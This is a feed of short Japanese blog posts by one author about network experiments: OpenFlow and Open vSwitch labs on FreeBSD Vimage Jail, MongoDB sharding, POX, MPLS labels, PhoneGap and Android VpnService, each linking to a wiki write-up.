glNetViz is intended to be a convenient tool that can easily visualize the network topology<br />
from the serialized data in YAML or JSON.<br />
<div>
<br /></div>
[GitHub]<br />
<a href="https://github.com/gpp256/glNetViz" target="_blank">https://github.com/gpp256/glNetViz</a><br />
<a href="https://github.com/gpp256/glnetviz_examples" target="_blank">https://github.com/gpp256/glnetviz_examples</a><br />
<br />
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-9679084764287960772013-03-10T17:51:00.000+09:002013-03-10T17:52:10.132+09:00Open vSwitchでMPLSラベルのpush/popに挑戦!ovs-devのMLで、2/28にMPLSまわりの更新があったとの情報を入手。Open vSwitchのメイントランクへの取り込みはまだのようが、おもしろそうなので早速試してみることにした。<br />
<br />
続きは以下に掲載。<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FOpen_vSwitch%2BMPLS" target="_blank">ネットワーク/Open_vSwitch+MPLS</a><br />
<br />
【コンテンツ】<br />
+ Open vSwitchでMPLSラベルのpush/popに挑戦<br />
- ネットワーク構成<br />
- MPLS対応のOpen vSwitchインストール<br />
- OpenFlowコントローラ起動<br />
- OpenFlowスイッチ起動<br />
- OpenFlowスイッチ設定<br />
- MPLSのpush/popアクション確認<br />
- MPLSのpushアクションの多段実行<br />
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCW6udDnbmSfIWkE0KBgnsO7ZBjKv-aSxYgo2ERgByMnlOK_C-5j_Dr2doOfBRT5eFXsfLKeLomb0R4-h0fV0-LqKjy9k3fDZP0Z87g_fPg0A6G9vRou94UR1M9twPlqxePWkCl48pyrQH/s1600/mpls02.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCW6udDnbmSfIWkE0KBgnsO7ZBjKv-aSxYgo2ERgByMnlOK_C-5j_Dr2doOfBRT5eFXsfLKeLomb0R4-h0fV0-LqKjy9k3fDZP0Z87g_fPg0A6G9vRou94UR1M9twPlqxePWkCl48pyrQH/s400/mpls02.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">複数のMPLSヘッダを追加してパケットをキャプチャしてみた結果</td></tr>
</tbody></table>
<div>
<br /></div>
Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-58061324324435468852013-02-10T14:25:00.000+09:002013-02-10T14:25:29.336+09:00Vimage JailでMongoDBのシャーディングを試す!Vimage Jailを使用してシャードサーバ6台(レプリカセット3つ)、設定サーバ3台、mongos 3台の環境を構築し、色々試してみた。<br />
<br />
MongoDBのインストールはVimage Jailが動作する端末1台だけでOK。全ての仮想マシンでハードディスクを共有して使うのがポイント★。<br />
<br />
シャードサーバを手軽に増設可能。<br />
<br />
続きは以下に掲載。<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FVimageJail%2BFluentd%2BMongoDB3" target="_blank">Vimage Jailの応用「MongoDB動作検証 其の三」</a><br />
<br />
【コンテンツ】<br />
+ 事前準備<br />
+ 動作検証<br />
+ はまった点、悩んだ点<br />
+ 参考資料<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifB58m39qIZxIvdOj6vw-243h7tBOKwNC8K8rl39QUEtOR91-RhCRvcUkQ6GUsbBwMVcVTwT-HlS9NwSvVjIauE2IuuikScg2ex10AKsSsHU7WmUKwdqCTIGYuhVWmbV0Z2TlxypHrqA2Y/s1600/mongodb02.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifB58m39qIZxIvdOj6vw-243h7tBOKwNC8K8rl39QUEtOR91-RhCRvcUkQ6GUsbBwMVcVTwT-HlS9NwSvVjIauE2IuuikScg2ex10AKsSsHU7WmUKwdqCTIGYuhVWmbV0Z2TlxypHrqA2Y/s400/mongodb02.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">MongoDBの動作確認用スクリプト02</td></tr>
</tbody></table>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-32079467765053617302012-11-27T06:53:00.001+09:002012-11-27T06:54:24.761+09:00Vimage JailでMongoDBを試す!<br />
Vimage JailはOSSの動作検証でも有効。試しにMongoDBのユーザ認証まわりとバックアップ・リストアまわりの調査で使ってみた。<br />
<br />
仮想環境下で実行したコマンドを整理し、スクリプトで自動化しておけば、忘れたころにさっと動作確認できて便利である。初めてMongoDBに触れる人との情報共有も容易となる。<br />
<br />
スクリプトは繰り返し実行可能な作りにすることがポイント★<br />
<br />
続きは以下に掲載<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FVimageJail%2BFluentd%2BMongoDB2" target="_blank">Vimage Jailの応用「MongoDB動作検証 其の二」</a><br />
<br />
【コンテンツ】<br />
+ 事前準備<br />
+ 動作検証<br />
+ 参考URL<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBqm_x426gBXUxk_5sXif8vWRK2URfZifIhS7PHgXgaGbxFiAJZJ0ptiYIbRHafwWv4sEGx_6MVGP4bcHJ2lowCY1Eyfn3dlWGBmM0PRk3yh8XgBlgioNabTXq2ib7mKmlkyVjMCCE5VlB/s1600/mongodb02.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="327" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBqm_x426gBXUxk_5sXif8vWRK2URfZifIhS7PHgXgaGbxFiAJZJ0ptiYIbRHafwWv4sEGx_6MVGP4bcHJ2lowCY1Eyfn3dlWGBmM0PRk3yh8XgBlgioNabTXq2ib7mKmlkyVjMCCE5VlB/s400/mongodb02.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">MongoDBの動作確認用スクリプト01</td></tr>
</tbody></table>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-1860735483500375532012-11-25T02:36:00.000+09:002012-11-26T19:44:29.482+09:00OpenFlow: POXを試す!<br />
OpenFlowのコントローラを作るためのフレームワークPOXを試してみた。<br />
<br />
NOXと比べて次の点がよい感じ。<br />
<br />
- 取ってきてすぐ使えること(ビルド不要)<br />
- 様々なプラットフォームWindows、Mac OS、Linux上で動作すること<br />
- NOXを利用してPythonで実装するよりも2倍以上高速に動作すること(PyPy利用の効果大)<br />
<br />
POXのドキュメントに記載されていたネットワークの見える化ツールPOXDeskおもしろそうだったので試してみた。<br />
<br />
続きは以下に掲載<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FPOX%A4%F2%BB%EE%A4%B9" target="_blank">ネットワーク/POXを試す</a><br />
<br />
【コンテンツ】<br />
+ POXを試す<br />
- インストール<br />
- 動作確認<br />
- poxdesk組み込み<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitgZlpuSv8CdIvbv4D35phnnWKuMcSnqPZjGGLXWGgcxgBGTvUtJlVUj6JhhN_3UZghi4hhQjrI3cfocHPW_cLW3nhQW_4lSmlaGwNm0xK1xTvJTPmQPCjBiykYiuSTy0D9prZBC5k1neD/s1600/poxdesk01.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitgZlpuSv8CdIvbv4D35phnnWKuMcSnqPZjGGLXWGgcxgBGTvUtJlVUj6JhhN_3UZghi4hhQjrI3cfocHPW_cLW3nhQW_4lSmlaGwNm0xK1xTvJTPmQPCjBiykYiuSTy0D9prZBC5k1neD/s400/poxdesk01.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">ページをリロードしなくてもAjaxで動的に表示情報が更新されていく<span style="background-color: white; color: #555555; font-family: Arial, Tahoma, Verdana, sans-serif; line-height: 20px; text-align: start;">POXDesk</span>のWebUI</td></tr>
</tbody></table>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-28063426119069133092012-11-23T21:34:00.001+09:002012-11-25T06:48:56.552+09:00Android: PhoneGapに挑戦!<span style="background-color: white; color: #333322; font-family: 'Trebuchet MS', arial, helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 17.77777862548828px;">スマートデバイス向け</span>ハイブリッドアプリケーション開発のためのフレームワークPhoneGapについて、色々試してきたことを整理してみた。<br />
<br />
続きは以下に掲載<br />
<a href="http://gpp256.zapto.org/wiki/?Android%2FPhoneGap" target="_blank">Android/PhoneGap</a><br />
<br />
【コンテンツ】<br />
+ PhoneGapを試す<br />
- ダウンロード<br />
- サンプルアプリ実行<br />
- jQuery Mobileとの融合<br />
- ローカライズ<br />
- デバッグ<br />
- ネイティブプラグイン作成<br />
- 応用:Androidアプリ作成<br />
- 要求するパーミッションとロードするプラグイン<br />
- コマンドラインツール<br />
- apktoolとPhoneGapアプリ<br />
- 注目のネイティブプラグイン<br />
- 応用:iPhoneアプリ作成<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoHIAwHUHqJIBRJuAVRF_FcieB4AXBKhEzzNUtjVUb4AFZ-Xt7d34NnUEYt3K4XPXKtcVTXXxrmHwRX9-PZwKsxrnrDYTTMunPdp9sRN-0TMUbym9uiqMVwWY52C1EkevtSPPoKCYMOxke/s1600/simplenetstat02.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="377" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoHIAwHUHqJIBRJuAVRF_FcieB4AXBKhEzzNUtjVUb4AFZ-Xt7d34NnUEYt3K4XPXKtcVTXXxrmHwRX9-PZwKsxrnrDYTTMunPdp9sRN-0TMUbym9uiqMVwWY52C1EkevtSPPoKCYMOxke/s400/simplenetstat02.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">ソースコード公開中のサンプルアプリ: Simple Netstat</td></tr>
</tbody></table>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-30707309118925556812012-11-22T06:04:00.001+09:002012-11-25T06:49:46.254+09:00Android: VpnServiceに挑戦!Linuxから移植したnet-toolsなどを使い、Android4.0から追加されたVpnServiceの動作を調べてみた。<br />
<br />
<a href="http://gpp256.zapto.org/wiki/?Android%2FVpnService01" target="_blank">VpnServiceに挑戦!(其の一)</a><br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglF2sM4hDAyuRdC8SB27m8llaHyqVtds7WL3IuyhDncs7FCQPU8wdvC2-duDIN5q4tzxDk9hHXOSzgCEXPr342nlbMbuoKgQrCbMYMIDKwrgkdnNSTdZRH3p0POGHK5jD9sHfh0fpdsIe3/s1600/toyvpn05.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglF2sM4hDAyuRdC8SB27m8llaHyqVtds7WL3IuyhDncs7FCQPU8wdvC2-duDIN5q4tzxDk9hHXOSzgCEXPr342nlbMbuoKgQrCbMYMIDKwrgkdnNSTdZRH3p0POGHK5jD9sHfh0fpdsIe3/s400/toyvpn05.png" width="225" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">手始めとしてAndroid SDKのサンプルに含まれているToyVPNの動作詳細を確認</td></tr>
</tbody></table>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-72073978534349155602012-11-20T07:26:00.000+09:002012-11-25T06:51:32.056+09:00Vimage JailでOpenFlowスイッチ27台に挑戦!FreeBSD 1台の上にOpenFlow対応スイッチ27台の検証環境を構築するためのスクリプトを公開!<br />
<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FVimageJail%2BOpen%20vSwitch_27" target="_blank">Vimage JailとOpen vSwitchの応用6(OpenFlow対応スイッチ27台)</a><br />
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhssZ1aciwcbqUHIogNNV2lWb4IIyBnR0-29hW3Rhtws_761iYQMhkNorTuujKl9uFgQ4wfGBUrNnI5KSbvFPVLtxAGyXJR6gjHQl9jCoKq2HSZWbmtyIWzgCKZs_g1UKCQ0V2KXkP1iTya/s1600/vimage_jail27_03.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhssZ1aciwcbqUHIogNNV2lWb4IIyBnR0-29hW3Rhtws_761iYQMhkNorTuujKl9uFgQ4wfGBUrNnI5KSbvFPVLtxAGyXJR6gjHQl9jCoKq2HSZWbmtyIWzgCKZs_g1UKCQ0V2KXkP1iTya/s400/vimage_jail27_03.png" width="340" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">OpenFlow対応スイッチ27台の検証環境を構築するスクリプト</td></tr>
</tbody></table>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-53990106572293437582012-11-19T07:16:00.000+09:002012-11-25T06:52:17.322+09:00Vimage JailでOpenFlowスイッチ64台に挑戦!<br />
Vimage Jailを活用してFreeBSD 1台の上にOpenFlow対応スイッチ64台の検証環境を構築。通信見える化に向けて課題の洗い出しを行ってみた。<br />
<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FVimageJail%2BOpen%20vSwitch_64" target="_blank">Vimage JailとOpen vSwitchの応用5(OpenFlow対応スイッチ64台)</a><br />
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB7Iva7uYgJLBgJXwWWhSmPAR6-dTjaqDBjKq_P3T63qFm78qxPdC0jnIn_Za9xevXGR6rS_No-QzHD1BE3o8X-1tAEsTVCAetw7MW7TSDEEe6qa8zr_VECHhk2JMDBcBAPYmfp3dk52DT/s1600/vimage_jail64_01.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB7Iva7uYgJLBgJXwWWhSmPAR6-dTjaqDBjKq_P3T63qFm78qxPdC0jnIn_Za9xevXGR6rS_No-QzHD1BE3o8X-1tAEsTVCAetw7MW7TSDEEe6qa8zr_VECHhk2JMDBcBAPYmfp3dk52DT/s400/vimage_jail64_01.png" width="350" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="background-color: #fefdfa; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: x-small; line-height: 18px; text-align: start;">OpenFlow対応スイッチ64台の検証環境を構築するスクリプト</span></td></tr>
</tbody></table>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-4049313813619502822012-11-16T07:40:00.000+09:002012-11-25T06:53:20.515+09:00Vimage JailでOpenFlowスイッチ8台に挑戦!<br />
Vimage Jailを活用してパケットジェネレータ1台、OpenFlow対応スイッチ8台の検証環境(仮想ネットワーク)を構築してみた。<br />
<br />
人の頭では通信の流れがどうなっているのかパッとわからないなど、色々課題を洗い出すことができた。ネットワークを平面(2次元)ではなく3次元で捉えてOpenFlowと組み合わせることで、今までできなかった面白いことができそうだ。<br />
<br />
<div>
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FVimageJail%2BOpen%20vSwitch_8" target="_blank">Vimage JailとOpen vSwitchの応用4(OpenFlow対応スイッチ8台) </a></div>
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibiYUdwKZp9MwWC4l44VjiWtyKKz1dpjUUxfT8Z1fcdxNj_V0iR1ilXxjuar229WwXRqG5b5dWBKrkvASi-hPcYKJ3DvOG5zeI7rMFvKfS9ukjlW77Jrgnk-Ag-bCaffDgLZG_IrHIdZiK/s1600/vimage_jail08.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="365" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibiYUdwKZp9MwWC4l44VjiWtyKKz1dpjUUxfT8Z1fcdxNj_V0iR1ilXxjuar229WwXRqG5b5dWBKrkvASi-hPcYKJ3DvOG5zeI7rMFvKfS9ukjlW77Jrgnk-Ag-bCaffDgLZG_IrHIdZiK/s400/vimage_jail08.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small; text-align: start;">OpenFlow対応スイッチ8台の検証環境を構築するスクリプト</span></td></tr>
</tbody></table>
<div>
<br /></div>
Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-45652498147569801842012-11-15T02:58:00.001+09:002012-11-25T06:54:14.373+09:00OpenFlowの学習に最適☆Vimage Jail+Tcpreplay!<br />
FreeBSD 1台の上にパケットジェネレータ1台、OpenFlow対応スイッチ4台の仮想ネットワークを作るためのサンプルスクリプトを公開。仮想環境上で動作するパケットジェネレータとしてはTcpreplayがお奨め!<br />
<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FVimageJail%2BOpen%20vSwitch_4" target="_blank">Vimage JailとOpen vSwitchの応用3(OVS x 4) </a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_-yv-BA9z6xDAC6kP0v-emWEa61TTbZnh0hVayRQGepaNS_x7JH83i2gKo8KORCP6kiBxIiPT4QCvCvdaKJrASEzZJSnb5MrRkqM4DKXznk5NnUS8IYaY3y3t9RvRQKM2STckkYzYFSpK/s1600/vimage_jail02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_-yv-BA9z6xDAC6kP0v-emWEa61TTbZnh0hVayRQGepaNS_x7JH83i2gKo8KORCP6kiBxIiPT4QCvCvdaKJrASEzZJSnb5MrRkqM4DKXznk5NnUS8IYaY3y3t9RvRQKM2STckkYzYFSpK/s400/vimage_jail02.png" width="320" /></a></div>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-83362871394663783192012-11-14T05:53:00.000+09:002012-11-25T06:54:58.814+09:00OSSの組み合わせでOpenFlow1.3に挑戦! 11月に入ってから急速にOpenFlow1.3を試せるOSS環境が整ってきた。仮想環境上でOpenFlow1.3の検証環境構築に挑戦してみた。<br />
<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FOpenFlow1.3" target="_blank">OSSの組み合わせでOpenFlow1.3に挑戦</a><br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6WEQ4ZWyoV2RJCEDZfI4QIyKrCqA6PA27p73dxBs6aEIod-kzZXw9NNpJztLcMemeN_MkT_7T1JfsOBinvo3yKVnNGErkdhztgmMGlMNzVqfhmEn7wuFlFSE4NVdp47YaJd-dW4hp_45j/s1600/openflow13-01.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6WEQ4ZWyoV2RJCEDZfI4QIyKrCqA6PA27p73dxBs6aEIod-kzZXw9NNpJztLcMemeN_MkT_7T1JfsOBinvo3yKVnNGErkdhztgmMGlMNzVqfhmEn7wuFlFSE4NVdp47YaJd-dW4hp_45j/s400/openflow13-01.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="background-color: white; color: #333322; font-family: 'Trebuchet MS', arial, helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 17.77777862548828px; text-align: start;">Wiresharkでコントローラとスイッチ間の通信をキャプチャしてみた結果</span></td></tr>
</tbody></table>
<br />Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-52521195773640639102012-11-12T03:46:00.000+09:002012-11-25T06:55:55.364+09:00Android:Linux上で動作するOSSの移植に挑戦!Android NDK r5が出た頃から移植を開始し、数多くのコマンドやライブラリの移植に挑戦してきた。備忘録も兼ねて蓄積してきたノウハウを整理してみることにした。<br />
<br />
続きは以下に掲載<br />
<a href="http://gpp256.zapto.org/wiki/?Android%2FLinux%A4%AB%A4%E9%A4%CE%B0%DC%BF%A2%A5%CE%A5%A6%A5%CF%A5%A6" target="_blank">Android/Linuxからの移植ノウハウ</a>Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-30038018105106778992012-11-05T03:25:00.000+09:002012-11-25T06:57:04.974+09:00Vimage JailでOpenFlowに挑戦FreeBSD(9.1)上でVimage JailとOpen vSwitchを組み合わせると色々おもしろいことができる。<br />
<br />
以下に試してみたことを整理してみた。<br />
<br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2FVimageJail%2BOpen%20vSwitch_2">Vimage JailとOpen vSwitchの応用</a><br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY9rmpfe7rOKG8A6RpX2VLQE9xiPFiUsMPZi2VWTkUmLECwNpL0etTdZE0sh_AUYIeYmkkio4jeiTK5hzULos1CREnlOlEV2pJNj8__ygzFInkEUiMGwz0XBZP1bQqIbmDxbe2kEQ3NihL/s1600/vimage_jail01.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY9rmpfe7rOKG8A6RpX2VLQE9xiPFiUsMPZi2VWTkUmLECwNpL0etTdZE0sh_AUYIeYmkkio4jeiTK5hzULos1CREnlOlEV2pJNj8__ygzFInkEUiMGwz0XBZP1bQqIbmDxbe2kEQ3NihL/s400/vimage_jail01.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Vimage JailとOpen vSwitchを組み合わせて作成した仮想ネットワーク1</td></tr>
</tbody></table>
例えば、仮想マシン1000台、OpenFlow対応スイッチ数十台といった少し大き目の実験環境をVMware Player上で動作するFreeBSD一台(メモリ:2GB、HDD:8GB)の中で構築することも可能。仮想環境構築時の待ち時間もほとんどない。<br />
<br />
起動した複数の仮想マシン上で各種サーバを動作させることも可能。<br />
<br />
OpenFlowの学習に最適な実験環境を手に入れることができる。Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0tag:blogger.com,1999:blog-3550324098043423307.post-88478415674157925122012-11-05T02:25:00.000+09:002012-11-25T06:58:06.199+09:00OpenFlowコントローラの自作に挑戦OpenFlowコントローラの機能もかなり充実してきた感じだが、まだまだOpenFlowは発展途上の技術。オープンソースのものをとってきただけではやりたいことができなかったりする。<br />
<br />
今までOSSのOpenFlowコントローラを改造して楽しんできたことを、少し整理してみた。<br />
<br />
<span style="background-color: #fefdfa; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">続きは以下に掲載</span><br />
<a href="http://gpp256.zapto.org/wiki/?%A5%CD%A5%C3%A5%C8%A5%EF%A1%BC%A5%AF%2F%A5%B3%A5%F3%A5%C8%A5%ED%A1%BC%A5%E9%A4%CE%BC%AB%BA%EE%A4%CB%C4%A9%C0%EF">OpenFlowコントローラの自作に挑戦</a>
<br />
<br />
【コンテンツ】<br />
<span style="background-color: white;">- </span><span style="background-color: white; color: #333322; font-family: 'Trebuchet MS', arial, helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 16.666667938232422px;">サンプルプログラムの課題</span><br />
<span style="background-color: white;">- </span><span style="background-color: white; color: #333322; font-family: 'Trebuchet MS', arial, helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 16.666667938232422px;">改造方針</span><br />
<span style="background-color: white;">- </span><span style="background-color: white; color: #333322; font-family: 'Trebuchet MS', arial, helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 16.666667938232422px;">動作確認準備</span><br />
<span style="background-color: white;">- </span><span style="background-color: white; color: #333322; font-family: 'Trebuchet MS', arial, helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 16.666667938232422px;">動作確認実施</span><br />
<span style="background-color: white;">- </span><span style="background-color: white; color: #333322; font-family: 'Trebuchet MS', arial, helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 16.666667938232422px;">WebUI作成</span><br />
<br />
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwM2y8kOPMWT338Qcaj5b7DnPeP88RAJJ1gKYrIXUfIInfHpB8hrZtlhOKep9YI_jVx3_4OMj1TyECsnyV4X3f0IYZLNjB5mSpbnTeHxJunNoVdC32JRVSoUYXT87zhZnNZbURWPJ47Cbj/s1600/openflow_webui01.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" height="143" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwM2y8kOPMWT338Qcaj5b7DnPeP88RAJJ1gKYrIXUfIInfHpB8hrZtlhOKep9YI_jVx3_4OMj1TyECsnyV4X3f0IYZLNjB5mSpbnTeHxJunNoVdC32JRVSoUYXT87zhZnNZbURWPJ47Cbj/s400/openflow_webui01.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">自作したOpenFlowコントローラのWebUIの一部</td></tr>
</tbody></table>
Yoshihttp://www.blogger.com/profile/01368063938297573608noreply@blogger.com0